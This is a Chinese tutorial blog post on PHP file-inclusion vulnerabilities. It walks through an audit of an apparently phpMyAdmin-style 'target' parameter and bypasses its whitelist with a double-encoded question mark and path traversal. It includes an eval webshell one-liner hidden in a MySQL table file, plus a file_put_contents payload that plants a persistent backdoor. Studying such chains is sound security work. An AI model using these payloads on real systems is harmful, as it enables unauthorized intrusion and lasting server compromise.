代码审计-文件包含漏洞

代码审计-文件包含漏洞

注:文件仅用于学术交流,不用于其它用途

1)本质
文件包含并不属于漏洞,简单的理解为公共文件,大家都可以去调用它,由于对包含进来的文件不可控,造成攻击者进行任意文件包含(自定义构造恶意文件),导致文件包含漏洞的产生(注:包含的文件会被当成脚本文件来解析),文件包含分为本地文件包含(LFI)和远程文件包含(RFI)(需要设置allow_url_include = On,默认不开启)

2)php四个函数
include:使用include引用外部文件时,只有代码执行到include代码段时,调用的外部文件才会被引用并读取,
当引用的文件发生错误时,系统只会给出个警告错误,而整个php文件会继续执行

require:在php文件被执行之前,php解析器会用被引用的文件的全部内容替换require语句,然后与require语句
之外的其他语句组成个新的php文件,最好后按新的php文件执行程序代码,如果有错就不会执行下面代码

include_once:和include用法相似,在导入文件前先检测该文件是否在该页面的其他部分被应用过,如果有,则不会重复引用该文件,程序只能引用一次。(因为php不允许相同名称的函数在同个文件里被重复声明)

require_once:和require_once用法相似,会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。(因为php不允许相同名称的函数在同个文件里被重复声明)

3)路径小知识
1.问号在php中表示传参,不认为是路径,当include去执行的时候会报错如:xxx.php?a=1.txt?b=phpinfo();因为include认为?后是路径,如果遇到包含的文件需要传参时候,可以写xxx.php?a=1.txt&b=phpinfo();用&符号代替
2.wind下cmd窗口 cd abc/…/ --返回当前路径,abc任意字符

4)实战代码审计
某一个网站
在这里插入图片描述
任意文件包含基本上都是代码审计,我们获取这个网址的源码,通过工具打开审计,源码是php语言,尝试搜索include函数,发现有接受传参的参数,进入index.php查看源码
在这里插入图片描述
我们发现要从传输接受文件包含,需要满足if里面的条件都为True,第一个传参不为空,第二个传参为字符串,第三个正则匹配不能以index开头的参数,第四个发现不能是黑名单,第五个发现是调用的自定义方法,我们全局查看然后去看这个方法
在这里插入图片描述
在这里插入图片描述
这里我们需要的条件是返回true,直接找返回的是true这个条件由于我们传参不可能仅仅传一个白名单,我们需要传参所以不能满足;然后我们接着看下面第二个分支条件,我们发现可以通过白名单+?截断绕过,但是在传参的时候?在include误认为路径报错;最后发现第三个if条件,urldecode($page)编码?刚刚可以绕过include误认为路径报错问题
在这里插入图片描述

然后去查看白名单,选中一个,构造满足五个条件的包含文件,随便选择一个白名单db_sql.php
在这里插入图片描述
我们通过爆破进入页面,通过变量找到了所有文件的绝对路径,对应phpstudy我们通过查资料发现某字段的存储路径在phpStudy/MySQL/data/库名/表名.frm,所有我们可以通过将木马以字段名的方式存储在表里达到上传木马的目的,这里建一个ly库ly表,然后字段名<?php eval($_REQUEST[5])?>
在这里插入图片描述
在这里插入图片描述
然后我们构造index.php?target=db_sql.php%253f/…/…/…/phpStudy/MySQL/data/ly/ly.frm&5=phpinfo();去访问,这里%253f 由url编译一次为%3f然后在通过函数编译为?;…/可以多加几个,保证是返回到根目录;&是上面也讲过的不让?多个传参报错
在这里插入图片描述

这里已经成功了,不过我们是爆破进来访问,想办法传参单独写个文件,不用登录就可以访问,?target=db_sql.php%253f/…/…/…/phpStudy/MySQL/data/ly/ly.frm&5=file_put_contents(‘520.php’,’<?php eval($_REQUEST[5])?>’);用这个创建一个520.php
在这里插入图片描述
然后去访问520.php,也可以用菜刀直接连获取webshell,这里就不用登录了
在这里插入图片描述
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/SmileAndFun/article/details/108522251
今日推荐